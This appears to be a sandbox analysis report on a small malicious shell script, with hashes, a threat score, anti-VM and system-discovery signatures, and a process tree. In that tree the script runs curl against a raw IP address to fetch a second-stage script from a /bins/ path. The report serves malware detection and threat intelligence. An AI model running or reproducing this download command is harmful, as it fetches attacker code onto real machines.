Overview

overview

4

Static

static

1

cirqueira...._64.sh

ubuntu-18.04-amd64

1

cirqueira...._64.sh

debian-9-armhf

4

cirqueira...._64.sh

debian-9-mips

3

cirqueira...._64.sh

debian-9-mipsel

3

Analysis

  • user interaction
    yes
  • max time kernel
    0s
  • max time network
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/09/2026, 15:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cirqueira.sh_x86_64.sh
  • Size 205B
  • Sample260916-szychssdkh
  • SHA256 482d8845b618545924463e79d0d2d193a6cccc4455fb48551235c4a455c7c9f4
  • MD5 SHA1 SHA512 TLSH
Score
4/10
antivmdiscovery

Malware Config

Signatures

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/cirqueira.sh_x86_64.sh
    /tmp/cirqueira.sh_x86_64.sh
    1⤵
      PID:643
      • /bin/bash
        bash
        2⤵
          PID:649
        • /usr/bin/curl
          curl -s http://94.154.43.227:8080/bins/cirqueira.sh
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          PID:648

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads